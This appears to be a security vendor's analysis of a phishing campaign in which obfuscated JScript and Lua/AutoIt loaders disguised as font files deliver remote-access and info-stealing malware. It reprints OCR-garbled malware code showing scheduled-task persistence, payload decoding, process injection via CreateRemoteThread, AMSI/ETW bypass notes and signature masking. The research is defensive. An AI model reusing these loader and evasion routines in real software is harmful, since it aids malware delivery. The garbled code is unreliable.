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Affected Platforms: Microsoft Windows
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Impact: Attackers gain control of the infected systems or stolen data may be leveraged for
follow-on attacks

Severity Level: High

Since late March, 2026, we have been observing large-scale campaigns that use a
combination of fileless techniques and Lua-based loaders with low detection rates to deploy
various malware families, including Agent Tesla, Remcos, XWorm, and Best Private
LOGGER.
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Figure 1: Lua-based loader on VirusTotal

In these attack campaigns, the threat actor impersonates several well-known companies,
using the guise of business cooperation to launch phishing attacks. To evade detection, the
actor employs multi-layered, highly obfuscated stages, including extensive junk code and an
Autolt/Lua loader masquerading as a TrueType Font (.ttf) file.
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Figure 2: Attack flow

Initial Access

The attack campaign begins with a phishing email that either contains a malicious archive or
links to download one, as illustrated in Figure 3. By impersonating a reputable brand,
business, or corporation, or using payment-related lures, the attacker manipulates the
recipient into opening the attachment by creating a sense of urgency.

T TIFMEE Uni vt DE AR DVARE FAAFE #aFs-Tuppng Dorument|

Message | | § FECEX_E.DOCUMENT zip (145}

Subgect Orses sequess - Srawsng attacned

I Maessage | Ovger.Drawing.ar 2 My @ AP Company_Frafile oot (25 15
Goed Moming,

1 am Reyhaan Aanya, Procurement Manager from KAPSI Co., Lid.

1 was refered to you by one of your customers and [ have checked your site and found the product we ate interested in.

| am attaching ous ceder drawing and company polile for your refecence.

Fleaze review and send us a Froforma lnvoice with:

peaks and diop off your labeled package {| - Price

if you do mot have one scheduled. [f yoa have ny questions, please go 1o fedex.com and| - Lead fime

how to contact us. - Paymenl terms
- Delivery terms

(s) in ZIP format. Please print your dox

Thask you for shipping with FedEx!

Let me know if you need anything ebse from me.
Thank pou.
Please note - FedEx Expeess® shipments: Commercial Inveice paperwork is required for most noa-docament commodities. Youmust || Reyhaan Aany
subsmit one gned original and two copies Frocuremment Manager
Subject: BAINBRIDGE NAVIGATION || OPA APPOINTMENT/ REVISED PDA - ADDITIONAL PDA REMITTAMCE |t B L LIBE AU
M F10057782 (Request)-9200090_0990.pdf (128 KB
| Message DPDA remittance details.rar (1 ME) A Message | @ 7 quest. X pat | ]
Good Day, Hello ressismpasi——",

As discussed with sales,

Find attached documents as requested,
Please find attached additional DPDA remittance details for your ref.
Please CC (mehamed.tarek@msc.com) in your response
Kindly confirm safe receipt of the funds.

Best Regards,
Mohamed Hanif
Thanks & regards

Purchase Mar.

MSC - MEDITERRANEAN SHIPPING COMPANY AGENCY EGY
Anjali Chakraborty | Senior Executive - Operations
Cell: +31 8448071113 1 DID: -1204797357

Email' ops@bainbndgenay com | Teams: anjali bbnav@omail com

55 Sultan Hussein st, Alexandria, Egypt

T: 42034884000 F: +2034884001

| BalnBridge Navigation Private Umited D: +203 4884295 M: +201000658632
(0n betol] of “Bainbridge Navigotion Group’)
1603, Logix City Centre, Sector - 32, v
Noida - 201301, UP [Delhi - NCR), India W WWW. MSC. com
BAINBRIDGE NAVIGATION Swithbosnd: 491 1704797500 (100 is) | Fa: 491 120 4797350
AT : coup penav.com com

As agent only for MSC Mediterranean Shipping Company S.A., Geneva

Figure 3: The phishing e-mails
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JScript

Within the archive, the JavaScript file is obfuscated and embedded in a substantial amount of
junk code. Even after extraction and beautification, the code retains a complex structure
typical of obfuscation tools, as shown in Figure 4.

xEllxE E] EE EEEN - - e
[xE1 [t F (=2 2 =2 ) A EANEE L el
[xE bt El e I i G 3 ERNER x-S
IR N mn R PERTER Al &R i LR |vaxr VVEGBIWIJXRENXPCOeVVEGBIWIJXRENKPCOD; (function
AN 222 I 0] o R o X It I—Ll_u
R Lct £ cr i A ] e EEER - I
[enisr_oxio13( 71 += 01013 ( B
function _Oxlebb() {
var 0x5d9622 = ["CimMB™, "
_Oxlebb = functien () {
return _0x5d%622;
b
return _Oxlebb():
}
jvaxr erONIA = OPONTA[ 0X1013( Y1022 ) [L0%I013 ( )
this([ 0x1013( ] 4= [0x1013( ):
thig.VVHGBIWIJXRENXPC 4= _0x1013( Y
this[_0x1013( }] 4= _Ox1013( )
this[_0x1013( }1 += _0x1013( )
this[ 0x1013( ¥ 4= 0x1013( ):
this[_0x1013( }] 4= _Ox1013( )
this.VVHGBIWIJXRENKPC += _0x1013( )y:
this[ 0x1013 ( )] 4= _0x1013( ):
this[ 0x1013( )] += _0x1013( ¥
lvax myCbject = new ActiveXCbject(erONIA);
this. VVHGBIWIJXRENXPC += 0x1013( ) :
this(_0x1013( )] += _0x1013¢( )i
this([_0x1013( )] 4= _Ox1013( ):
this[_0x1013( }1 += _0x1013( ):
this[ 0x1013( }] 4= _0x1013( ):
this[_0x1013( 31 4= _Ox1013( ):
this.VVHGBIRIJXRENXPC += 0x1013( Y
this[ 021013 ( 1] 4= _0x1013( ):
this.VVHGBIWIJXRENXPC 4= "3 4 i i
[var TAXIELYOKUM = _0x1013( ) + "VVHGBIWIJXRENXPC
this[[ 0x1013 ( )] 4= _0x1013( ):
this( 0x1013( DELE i
this[_0x1013( )] 4= _Ox1013( )
this( 0x1013( )] += _0x1013( )
this[_0x1013( 11 += _0x1013( )
this[ 0x1013( )] 4= Ox1013( )
this[_0x1013( 3] #= _Ox1013( ):
this[ 0x1013( } 4= 0x1013¢ ):
this[_0x1013( )] += _Dx1013( )
[var ELOULYASMAYL = _Ox1013( ) + [ 0x1013( ) + [ 0x1013( }:
this[ 0x1013( 3] 4= _Ox1013( )i
this[ 0x1013( )] 4= Ox1013( )
this[_0x1013 ( )] += _0x1013( )
this[ 0x1013( 1] 4=

Figure 4: The obfuscated script.

The script employs highly complex obfuscation techniques, including string array mapping,
control flow flattening, and anti-tampering mechanisms, to evade both manual and Al-driven
analysis.

Within the core logic, critical strings—such as the ActiveX object and the output file paths—
are obfuscated using signature evasion. These delimiters are then removed at runtime using
.split() and .join() methods.
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wvar OPONIA = "!!10Pi0n e bt nn i i i i it inensnntn
//3cripting.FileSystemObject
Hfunction HIWTBNHXCGQTQSCEM( 0x342c56) {
var erONIA = OPONIA["split"J('!!"){"icin"]1("")
var myObject = new ActiveXObject (srONIA);
Ffunction HIWTBNHXCGQTQSCPM( OK139C37) {
var TAXTELYOKUM = "!!!C:\0U tler!is\p!!lubl!!tic\Li!!!brar!!!ies\HINTBNHXCGQTQSCP. '!!citigiiifrinm-
Jrc: \Uferf\PJbllc\ulbra¢1—5\PIW“BN{KUCQﬂQS"? tf
[Flfunetion HIWTBNHXCGQTQSCPM( Dx1443d5) {
var ELOULYASMAYL = "!!!IC:) 58 Mlubl!lic\L!!1ib!!Irar! 1 1ies\HINTBNHICGQTQSCP.e!!ix!!ltglllm;:
Jrc \Uq&f"\?ibllC\;lbraTlﬁsxFIW BN&X-CQ”QS“’ exe
[Ffunction HIWTBNHXCGQTQSCEM( 0x221072) {
[Ffunetion 0x24cé( 0x2cf33, 0x214524) {

Fif (myCbject["FileExists"] (TAXIELYOKUM["split"1("!!!")["J0in"1( '})) {} else {
[+ funetion HIWTBNHECGQTQSCPM ( 0x3e4004} {
var scriptName = WScript["ScriptNam="];

[+ funetien HIWTBNHXCGQTQSCPM{ Dxéaéagé} {

//var GFRTGTFGD = "C:\Users‘\Public\Libraries\"™ + scriptName;
[ funetion HIHTBNHKCGQTQSCPM{ 0x548785) {
var HGJHKKLL = GFRTGTFGD["splic"} ("1 ") ["Join"]1("")};

var EWRWRHNM = ™! !11itinprprrrnpnnrnprennrenrnnitns
//scripting.FilesystemObiject

[ function HIWTBNHXCGQTQSCEM({ Ox2bef2f) |

var awwwank;

var newpath;

var MNBYTUIOP = EWRWRHNM(["splic"}('!")}["Join"]("'");
[] function HIWTBNHXCGQTQSCEM{ Ox2acald) {

awwwank = new ActiveXobject (MNBYTUIOP);

if (awwwank["FilleExists"] (HGJHKKLL)) () else {

=]

E if (LOUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUONIA[“?..'"]{"}l” in"]("'") mm= "YESSS55555") |
awwwank["CopyFile"] (scriptName, HGJHKKLL) ;

& function HIWTBNHKCGQTQSCPM( OxSeed9l) {

var HUUHA = "! 110000 e r i i g e nenyngey
//WSecript.Shell

Ef| function HIWTBNHKCGQTQSCPH( 0x4b713c) {

var IHUUHAIA = HUUHA["splic"} (' 1) ["ioin")( ') :

E8] function HIWTBNHKCGQTQSCPHI 0x40abf9) {

VAZ HEBHA = "I I0ELIRI I m i e p st ptonsrenptnsasagitnanrasanyd
//femd /c schtasks /create /sc minute /mo 15 /tn "™ + scriptName + " /tr " + HGJHKKLL;
3 function HIWTBNHXCGQTQSCPH( oxsaoﬁfdj {

var HBBHAIA = HEBHA(["split")J{"!")["Join"1("'"):

& function HINTBNHKCGQTQSCPMI 0x8c640d) {

new {IHUUHAIA) ["Run"] (HBBHAIA) ;

Figure 5: Signature evasion in critical strings.

The execution flow begins by verifying two conditions: the absence of the next-stage files and
whether a specific variable is set to "'YESSSSSSSS.' If both conditions are met, the script
copies itself to the %PUBLIC%\Libraries folder and establishes persistence via a Scheduled
Task.

To deploy the next stage, the script extracts hardcoded, encoded data and processes it
through a series of steps: reversing the strings, removing junk delimiters, and decoding from
Base64. The resulting data is then saved to the specified file path. These dropped files may
include an executable for an Autolt interpreter or LuaJIT, along with accompanying scripts and
encoded data.
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var D =
var AHONIARO = FDAWE("!!!!iiiirrrrprprrierprrerprrrrrrrrrprrrerrrrrrprrrrby

new Ac

tiveXObject (rtIA); //Microsoft.XMLDOM Script

var Bi33ddy = AHONIARO["split"]('2')["join"1("");

var Biddy = Bi33ddy[”c3'**”]('1')[""*‘"](");

var DWAYX = Biddy["split Y [Mein"1 (")

var KELOPATAT = DWAYX["split"](" ”)[“T'J A G I

var KOiddy = KELOPATAT["split"1('!")["Jjoin"1("");

var WEiddy RKOiddy["split "] ("#")[MJoin™]1("");

var FDGFDG WEiddy["split SY[M3oin™] (" ") ;

var HARKUIP = FDGFDG["split 3 join”™1("");

var SWEOPTY = HAKUIP["*“" join"} (") ;

var MKLEOP = SWEOPTY["Sz join"]1("");

var JESOUINA = MELEOP|["sg "qoin"1("");

var OPiddy = JESOUINA[“E:Li“ join"] ('');
E["text”] = OPiddy;

var b = new ActiveXObject (FBNRTYFNIA),; //ADODB.Stream
b["Type"] = 1;

b["Open"] () ;

b["Wwrite"] (E["nodeTypedvValue"]) ;

b["Position"] = 0;

b["Type"] = 1;

b["sa ;‘QT"L”](TAXIELYOKUM[”*»'iC"](”‘i‘”)["ﬁbiﬁ Z) ;

var KOP = Q['ZLTJ?%Z;TJT‘”'](PDDDIA)
KOP["dataType"] = GFDGTR; //bin.baseé€4

//t

var Bi33ddy = halalus["split’ ]('“')["*"*”](")'
var Biddy = Bi33ddy["split”]('!')[" "10)

var DWAYX = Biqqy["q;,ia“]('=')["jain ]("):

var KELOPATAT = DWAYX[“sn'*"”](" "Y["oin"1(" ") ;
var KOiddy = KELOPATAT["=spli Y["ein"1(" ") ;
var WEiddy = KOiddy["spli joi S I
var FDGFDG = WEiddy["s: joi ")
var HAKUIP = FDGFDG["s: joi ')

var SWEOPTY = HAKUIP["spli [

var MEKLEOP = SWEOPTY(["split"]1('&")["join™1('");
var JESOUINA = MKLEOP["split"1('"*")["Jjoin"]1("'");

var GTREYRTY = JESOUINA["split"]('>")["join"]1(""),;__
KOP["text"] = GTREYRTY;

var ASS = new ActiveXObject (FBNRTYFNIR); //ADODBE.Stream
ASS["Type"] = 1;

ASS["0 "’"]()’
ASS["W "] (ROP["nodeTypedValue"]) ;
ASS["Pc t—*“"] = 0;

ASS["Tvpe 1;
ASS["SaveToFile"] (ELOULYASMAYL(["split"] ("!!1")["join"]1('"), 2); //.exe

var halalus = FDAWE("!!!!!lrrirrpirrprrnrnnernrrprrrnrrrerprrnnrrnietl

Figure 6: The routine used to extract the embedded payload to disk.

Finally, it instantiates a WScript.Shell object to launch the executable, passing the script as a

parameter.
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var WAWNIA = "liiirrprpppreppnppppeppnpnpnrrerppypprnpnprppprpprrrpppreprppprprpprnrpppppprrrprprpprprerrrrrpronegl
//WScript.shell

var QQQQQOWE = WWWNIA["split"]("!!")["join"]("");

Jfunction HIWTBNHXCGQTQSCPM( 0xS55c76€a) {

var kittul = WScript["CreateObject"] (QQQQRQWE) ;
Jfunction 0xSbhéa({ 0x32347c, 0x5b5%86) {

kittul["Run"] (ELOULYASMAYL["split"]1("!!!") ["join"]({"") + " " + TAXIELYORUM["split"]("!!!")["join"]1(''), 0, false);
//Run an .exe file with a .ttf parameter and hide the window

Figure 7: Running the deployed executable and providing the .itf file as a parameter.

Lua Loader

Lua is a fast, lightweight, and simple scripting language ideal for game development,
embedded systems, and automation due to its low memory footprint and ease of integration.
Its just-in-time compiler, LuaJIT, features a Foreign Function Interface (FFI) that allows
seamless interaction with C data structures and native system APlIs.

In the campaign, the dropped .ttf file is actually a disguised Lua script. A review of the related
executable's metadata confirms its LuaJIT version, as shown in Figure 8.

Address Length Type String
‘s’ rdata: 0046+« 00000036 C unknown uall T conwnsand or 11t * modules not «
xdata:0046--- 00000004 C LA _NOENY
xdata:0046-++ 00000009 C LUA_INIT
rdata:0046+++ 00000004 C =LU4 INIT
| rdata:0046+++ 0000004D C LuallT 2.1 0-beta3 -- Copyright (C) 2005-2017
Jdata:0046+++ 000001ED C ([ophions]... [scoipt [args]...] Wndvadlable options
adata: 0046+« 00000007 C Tuayit
data: 0046+ 00000016 C Lua function expected
| rdata:0046--- 00000D0ZE C PANIC: vnprotected ervor vn call to Lua API (
pdata:0046-++ 00000008 C Lua 5.1
rdata:0046+++ 00000028 C ‘module' not called from a Lua function
‘o'l rdata: 0046+« 000D000B C lnaopen_%s
's'| rdata:0046+++ 000D000D C luallT_BC_%e
‘| rdata:0046+++ 00000004 C LUA_NOENV
| pdata:0046+++ 00000009 C LUA PATH
| rdata:0046+++ 00000026 C NP Juas Woah? Jua;! Woadh Aanat loa;
rdata: 0046+ 00000004 C LUA_CPATH
‘o'l rdata0046+++ 0000000C C lus_debug>
‘s’ rdata:0046+-+ 00000013 C LuallT 2.1 0-beta3

o8 | lva

Figure 8: Strings found in the LuaJIT executable.
The script begins with an encrypted data block and numerous decimal-encoded strings to
impede analysis.
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local RWRVUIX =

"==~~~vmannvnnnnv v aMsTRTVE#+H+g~++wWSrr2sE~Owj@# : gsMgN8z2Emhi
T8 :wERgi8hQT1tI@N131i: *SwUlgvP~gvPw+6qlGR~NI9YIBz2EmhiO8jO0E#hi8
hOQTI1tIEN12i:r##N12igOP#N<0iiwQT1tI#Nimi:niK1l:U~gP4*0gIYMoI+U@
RTHtoIT8jOF#/ihQQTttI:N13i:nixXLWOQ~XIJk8///:L670VijM00P/////zL
6I00P//m9>Fyw@~+gKk4RoHM~MOYR#sI~~~w@MB2xGkY~glo~JGgtP4wiT~Uy

local T={"\D6B\I111A110N117NI1A16\OB3\116117098"
TADT2N084\DBANOBO" . "NOSINIDONTISNIOS™ =X I DI N1 G\1]D™
PN1OTNLOANI TEATAONI0INIOBNOSINOSO ™ == 1 ONT 16100108108
"X119\1050110N105X110X101N116" ) for =) v-0 .1 do For M,V 1n
ipairs(V)do local r=true for M=0,#V-1,l do if a[f+M]~=V[M+1]
then r=false break end end if r then for M=0, |, do if f+M<y
then if M%2==0 then a[f+M]=144 else a[f+M]=204 end end end
break end end end for f=0,y-20,1 do for M,y in ipairs(r)do
local V=true for M=0,#y-.,. do if a[f+M]~=string.byte(y, M+1)
then V=false break end end if V then for M=l ,#y- , do al[f+M
J=math.random(-°,“0)end break end end end return true end
local S1=409¢ local B1=8192 local kl=327¢68 local Hl=4 local
cl=c4 local Il=! if not RWRVUIX then os.exit(.)end local Ll=
vv (RWRVUIX) local El=Fv(Ll)local Ql=PolyRotDecode (El)if not Q1

or#Ql==0 then os.exit( )end yv=#Ql CreateDecoyMemory () Vv=
EncryptShellcode (Ql,kv)local Jl,tl=CreateFakeMemory (yv+
300000000)local 11=Tp.cast ("\072\065\078\068\076\069" ,-1)

local ml=Tp.new("\080\086\079\073\068\091\049\093" ,nil)local
)local Nl=Ap.NtAllocateVirtualMemory(ll,ml,0,sl, bp.bor(B1l,S1

Figure 9: The obfuscated Lua loader.
At the core, the loader employs a three-step method for parsing the encoded payload.

First, the hardcoded string is reversed, and a set of replacement rules is applied: symbols ~,
@, # : & * >, and < are replaced with A, B, C, D, a, b, ¢, and d, respectively. Then, the
resulting string is decoded from Base64.
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local function px{c) --sStep l: Invert and replace.

end;

local g = {};
for a = §c,

gl#g +
end;

lecal a = table.concat(g);

if a:find("

, =L do
1 = c:subla, a):

local ¢ = a;

¢ = cigsub("~-",
¢ = c:gsub("g&",
c = c:gsub("#"
c = c:igsub("”

c = c:gsub{"s",
¢ = ¢cigsub("*"
c = c:gsub(">",
c = c:gsub("<"

return c;
else

local ¢ = a;

¢ = cigsub("n",
c = c:gsub("B",
c = c:gsub("C"
c = c:gsub("D",
c = cigsub("a",
c = cigsub("b",
c = c:gsub("c",
c = cigsub("d",

return c;
end;

") then

local Wx

0 '

local Hx
for c = 1, #wWx, do
Hx[string.sub(Wx, c, c)] =c -
end;
local function ex(c) --Step 2: Baseé4 Decode
local g = {};
lecal a = 07
local d = (;
for n = 1, #c, do
local M = string.sub(c, n, n);
if M ~= "=" then
local ¢ = Hx[M]:
if c then
a = ju.lshift(a, ©) + c;
d=d+ ¢;
if d >= then
d=d- 3;
local ¢ = ju.rshift(a, d);
c = ju.band(c, )
table.insert (g, string.char(c));
end;
end;
end;
end;
return table.concat(g);
end;

Figure 10: Decryption routine: steps 1 and 2.

Subsequently, a custom ROT cipher is applied. The first byte of the encrypted string serves as
the rotation key. Once the key's validity is verified, the rotation value is calculated using the
formula: 94 — {first_byte} - 128. The remaining data is then processed with the ROT cipher,
ensuring the output consists of printable ASCII characters, as illustrated in Figure 11.
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function PolyRotDecode(c) --Step 3: Custom ROT-style cipher
local g = string.len(c);
if g < | then
return "";
end;
local a = string.byte(c, 1);
local d = 0O;
if a > ¢ and a <= 22 then
d=a - 125;
else
return "";
end;
local

n - d;
local M
z

{};
local = 1;
for g=2, g, . do
local a = string.byte(c, g);
if a >= 27 and a <= ¢ then
M[Z] = string.char(:: + ((a - 22) + n) % =“4);
else
M[Z] = string.char(a);
end;
Z =2Z 4+ _;
end;
return table.concat (M) ;

end;

Figure 11: Applying the custom ROT cipher.

In addition to the decryption routine, the sample employs several anti-analysis and evasion
techniques. These include allocating decoy memory regions, patching key characteristics for
subsequent layers, and implementing page guards. Furthermore, it performs an in-memory
XOR encryption and decryption cycle on the shellcode using a consistent key to further hinder
detection.
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local gh = 409
loecal ah = &

local dh = ]
local nh = 4;
local Mh -
local EZh =

if not localed then

T os.exit(l);
end ;
local Ch = px(localed); --Step 1l: Invert and replace.
local vh = ex(Qh),; --Step 2: Baseitd Decods

local wh = PolyRotDecode (vh); —--Step 3: Custom ROT-stvle cipher
if not wh or #wh — then
T os.exit(l);
and ;
Gu = #wh;
CreateDecoyMemory () ;
bu = EncryptShellceode (wh, dx); --Xor Cipher
local ah, Fh = CreateFakeMemory (Gu + 300000000}

local Eh = tu.cast ("HRANDLE", =1);
local ih = tu.new("FVoID[1]1", nil);

logal Th = tu.new("SIZE_T{1l|", Gu + 300000000); --allocates a larger space
logal Wh = Yu.NtAllocateVirtualMemory(Eh, ih, 0, Th, ju.bor{ah, gh), nh); --PRCE_RERDWRITE
FLf Wh ~= lu then
os.exit(l);
and ;
Tu = ih[U];

ru = tonumber(tu.cast{"uint3Z t", Tu));:
SetupGuardPages();
tu. o, RelMoveMemory (Tu, bu, Gu);

Hlocsal Hh = {

fHlooal eh = {

[Fllecal funotion uhlc, g, a)

[fllocal funotion mh(c)

Hlogal funcotion Rh(...)

Fleeal funetion fhic, g)
PatchDonuté4Header (Tu, Gu);

DecryptInPlace (Tu, Gu, dx): Xor Cipher
PatchDonut édHeader (Tu, Gu);

ax = CalculateCRC(Tu, Gu): =--crci2
ProtectMemory(Mh) ; -- €4 PAGE_EXECUTE_READWRITE
local zh = tu.cast("void(_ cdecl*) ()", Tu);
local Lh, ph = peall (zh);

ProtectMemory({nh); -- 4 PAGE_READWRITE

PatchDonutédHeader (Tu, Gu);
[flif not VerifyIntegrity() then

Figure 12: The core logic of the Lua loader.

Decoy Memory

It allocates a decoy memory and fills it with the suspicious string and randomly generated
data, as shown in Figures 13 and 14.
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function CreateDecoyMemory ()
local ¢ = 1042576,

OXFFFFFB800"™,

local g = tu.new("uintd t[21", <c);
local a = {
"ntdll.d1ll",
"kernel32.d411",
"Tirtua_P:Dte_t",
"CreateRemoteThread”,
"OxDEADBEEF",
"0x1337 “LDE",
"[-] Error loading driver",
"[+] RKernel module mapped at
"DRIVER_TIRQL NOT LESS OR_EQUAL",
};
for c =0, ¢ - 1., . do
local d = a[c % #a + _1;
local n = c¢c % #d + _;
glc]l] = string.byte(d, n);
end;
table.insert(kx, g);

end;

Figure 13: Decoy memory with a suspicious string.

function CreateFakeMemory(c)

local g tu.new("uints8 t[?2]", c);
tu.fi1ll(g, c, 0);
for c =0, ¢ - ., . do
glec]l = ju.bxor(c % 256, £85);
end;
return g, tu.cast("pVOoID", g);
end;

Figure 14: Decoy memory with random data.
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PatchDonut64Header

The function scans for byte sequences and string signatures characteristic of Donut
shellcode, then obfuscates them with a mask composed of 144, 204, and randomly generated

uppercase characters to evade detection.

|function PatchDonut&4Header(c, g)

local a = tu.cast ("uinti t*", c);
local d = math.min(g, ©152);
] local n = {
i:-f—’r_f'r ——:‘:I r—I—JL::—r]'r
I——-r il g M g = F weyp &by WAy Iy ]'ur
{ 139, &9, 8, 13%9, f, 12, 13%, 85, },
['-:'-F .IJ .i' .IF ..J '.:.-i' '-.J' .F }J
[ -i' 2 r Ir r r Ir -: L 2 -i' }r
[——r —-’l': r =Sy g 2 ¥ r Ao | ]'ur
|
lecal M = {"DonutStub™, "HTTE™, "amsi"™, "etw", "kernel32", "ntdll"
] for c =0, d - &, 1 do

| for g, n in ipairs(n) do
local M = true;
1 for g =0, #n - 1, 1 do
] if ale + gl ~= nlg + 1] then
M = false; break;

end;
. end;
| if M then
| for g = 0, , do
] if ¢ + g < d then
| if g % 2 == { then --Masking patterns to 144,
alc + g] = 144;
alse
afc + g] = 204;
and;
end;
and;
break;
end;
end ;
and;
| for ¢ = 0, d = . do

| for g, d in ipairs(M) do
local n = true;
| for g = 0, #d - 1, do
] if afe + g] ~= string.byte(d, g + !) then
n = false; break;

end;
end;
] if n than
] for g = 0, #d - 1, do
alc + g] = math.random(c5, ):

-=Replace: Random uppercase ASCII characters
-=(batwean 65 "A' and 90 '2'}.

Figure 15: Function for Patching Donut characteristic.

204...
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In the final stage, the shellcode is executed via a protected call (pcall) using a memory
address that has already been cast to a callable C function pointer.

Throughout our research, we tracked samples ranging from the earliest version, which
appeared in October 2025, to the most recent, which appeared in June 2026. Their evolution
is shown below.

October 2025

While this version retains characteristics similar to previous iterations, the execution flow has
become clearer.
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llocal embedded = "=ARARAARAARARRARAAARAADZSWalgvPIgvPcHowFHBGNCagwAILDYDELNQE

[lecal o=§C leocal a=V.new(" 115 G0N 104 G7%\114 05\116 g1 63 23" ,o0%_ )for
afo=11=V.cast (""119 098\ 104\0587114 0585 116" ,C:byte{(0))

-end

alol=) return a

-end

[lecal function vi(C)

local o=V.new("\0834,084\065\082\054\085 : ] 3 : 2"Yloecal v=V.new(

else
return v.dwProcessId

-and

-end

llocal r=v{"\0&87\058\092\087 - s 5\ 092\083\1" c
llocal C={}for o=_,#V, . do

return table.concat(C)

-end
local G="'\0&5\066\067\068\065 J J J 3 14\075
llocal C={}local o= '-(§V-1)%: for o= ,§V,: do
local a=((string.byte(V,0)or U)*cS53c+(string.byte(V,o+l)or )} *2si)+(stri
-and

[Aif o> then

return table.concat (C)

-and

Hocal s="\065\066\067\063\063\07 . . A —
mlstring. subls vV, V) 1=V-

-and

|llocal function M(V)

|llocal function g(V)
llocal C={}for o=#V, ,-] do

return table.concat (C)
-and
|llocal function g(V,C,0)

|llocal function =(V)

|llocal function R (V)

llecal functien dia,v)
|llocal r=o. DpenErocess[o ERDLESS ALL aCCESS false ajif r== nil then

return false, 070\0975105\108\101\104 1160111 NIZIIN112N101%110 21127114

-and

llocal z=§v local G=o. vlrtualﬁllocEx{r nil z+f???fffff,C.bo:{G.HEH;cDHH:T,o
0.ClosesHandle (r) return false, DT70NOOTNIOSNI0B8N1I0INIO0 N116M111 NOST7MN10E

-and

local y=V.new("\083\073\050\069 f}f 154°%021%0458%083")local s=o.WriteProcess

o.CloseHandle (r) return false, DT70NOOTNIOSNIOBN101INI00 N116%111 N119%\114

-and
llocal m=c.CreateRemoteTnread(r,nil, ! ,G,nil, ) nil)if m=—nil then

Figure 16: The earliest version of the Lua loader.

The sample initiates a legitimate process to serve as a host, allocates memory in the remote

process, and writes the decrypted shellcode to the allocated region. Execution is then

triggered via CreateRemoteThread. Notably, the decryption routine used here is simpler than

in newer iterations. It involves string reversal, Base64 decoding, and a ROT14-like cipher,
consistent with the techniques documented in the edfincirt blog.
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local embedded = "=ARARRAAAARARAMAARARADzSwalgvPIgvPc+EwFHBGN
local V = require("f£i");

local C = require("bit");

V.cdef ("typedef unsigned long DWORD;\ntypede
local ¢ = V.load("kernel32");

local function a(C)

local function v (C)
local o = V.new("STARTUPINFO") ;
local v = V.new("PROCESS INFORMATION") ;
o.cb = V.sizeof (0);
local r = a(C);
local z = 4;

local G = V.C.CreateProcessW(nil, r, nil, nil, false, z, nil, nil, o, v);
if G == 0 then
else
return v.dwProcessId;
end;
end;
local r = v("C:\Windows\SysWOWé4\colorcpl.exe");

local r = o.OpenProcess (o.PROCESS_ALL ACCESS, false, a);

Elocal function d(a, v)
= if r == nil then

local n = g(embedded); —--Step 1: Invert.
local E = M(n); --Step 2: Base€4 Decode
local H = z(E); --Step 3: Coustom ROT14 cipher

local x, Y = d(x, H);

Figure 17: The deobfuscated script.

June 2026

return false, "Failed to open process. Error code: " .. tonumber(o.GetLastError
()
- end;
local z = #v;
local G = o.VirtualAllocEx(r, nil, z + ¢00000000, C.bor(o.MEM COMMIT, o.MEM RESERVE),
©.PAGE_EXECUTE_READWRITE) ;
= if G == nil then
o.CloseHandle(r) ;
return false, "Failed to allocate memory in target process. Error code: " .
tonumber (o.GetLastExrror());
- end;
local y = V.new("SIZE T111");
local s = o.WriteProcessMemory(x, G, v, 2, V)
B if § == 0 or y[(] ~= z then
o.CloseHandle(r) ;
return false, "Failed to write process memory. Error code: " tonumber (
o.GetLastExrror()):;
o end;
local m = o.CreateRemoteThread(r, nil, 0, G, nil, 0, nil);
=) if m == nil then
o.CloseHandle () ;
return false, "Failed to create remote threac Error code: " .. tonumber(
o.GetLastError());
| end;
o.CloseHandle(r) ;
return true, G;
Lend;

Although the initial characteristics appear identical to known patterns, the core logic is
significantly more complex. It incorporates a wide array of anti-analysis techniques designed
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to thwart both Lua and native-level debuggers, including APl unhooking and the neutralization

of software and hardware breakpoints.

|legal function ib() -- Coxe logic
math.randomseed{os. time()) ;

| for D= 1, . do
math.randomsesd (0. C.GetTickCount () ) ;

| for D = 1, . do
math . randomsesd (GHM() ) ;

| if ¥XF{) then —— Init HE & ¥YR: loading ntdll from disk

local D = mE(); -—Resoclve APIs via FEE LDR DATA
| if 3x() then --Unhook ntdll.dll

| if FE() then —--Unhock system DLLs (kermnel32, kermelbase, usar32, advapi3l).

local G = fR("user32.dll", "MesassageBoxA")}; --Manually parse DLL memory for function addresses
| if G then
local D = oR(3); Deploy API Proxy for call redirection.
| if D then
. end ;
local J = LE("®thll ateVirtualMemory™) y ——-Retriave 3'_,.':.'.:1].]. Numbear
| if T then
local D = yE{J); —--Extract Syscall numbsrs for Direct Syscalls.
| if DO then
and ;
Mb() ; --X0Red AFIs, memcry junking, timing-based debugger detection, Security sclution detection
mM{) ; Create Junk wvar/function, Hook Lua Debug fur on
local H = RRITIOO() Lua Anti-Debug: Encrypt the variable name
local ¥ = RRIIIOOO(); --Lua Anti-Debug: Rdd junk code and heock debug functicons,
Mb(); ~--Allocates numesrous buffers fills them with 0x50, Oxce{INT 3), random data
ZR{); --ETW bypass : Xor &ax, ®ax, ret
zR{) 7 --AM3I bypass | XoOr #ax, eax, Iet
JM() ; --API unhooking, breakpoint removal, and configuraticon of ThresadHidePromDebugger / Procesalebugt
KD
if 0.C.IsDebuggerPresent() ~=— then
£R( ¥
and ;
local X = TM(OFSRGFH) ; Step l: Invert and replace.
local m = PM(X); Step 2: Basstd Decods

local 8 = EEHEKDecode (m) ; -=3tap 3: Custom ROT=-style cipher
| if H8 == then

local o = #3 +
local F = aMlo + )i allocates a larger space
if F == nil then

O.copy(F, 8, #3);

local £ = F
local ¥ = &.cast("uin L, F) O+ M3
for D= 0O, £ - 1, dao
N[D] = i} == NOF Padding at the end of shellcode
and
bBM({Fr, #3 + f£); -- Shellcode Execution: Final obfuscation and payload triggerc.

Figure 18: Core logic: the latest Lua loader.
To obfuscate shellcode execution and hinder analysis, the implementation employs a

segmented encryption scheme. The shellcode is partitioned into page-sized segments, which
are then encrypted and marked with PAGE_NOACCESS. To facilitate execution, a Vectored

Exception Handler (VEH) is registered to intercept access violations. When the program
attempts to execute a protected page, the resulting exception triggers the VEH, which

decrypts the specific code block and restores the necessary execution permissions, allowing

the process to continue.
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+ mdi

Figure 19: An obfuscated shellcode execution routine.

Autolt Loader

In a similar attack campaign, we observed the use of Autolt as the loader stage rather than
Lua. In this instance, three files are dropped: the Autolt interpreter, an Autolt script, and an
encoded data file. The dropped executable can be easily identified by distinct strings
associated with the Autolt interpreter, as shown in Figure 20.

Address

il rdata 00
et 004
rdata00d---
Jdata 004+
rdatac 004 ==
adat 004 e
Tdatac 004 e
Tdatac 004 ==
rdata00d ===
data00d---
et 004 ===
rdata00d ===
w004 =
Tdatac 004 ==
JTdata 004 -+
Tdata:004 -
Tdata 004
rdata00d ===
adata:004---
et 004
Tdatac 004 ==
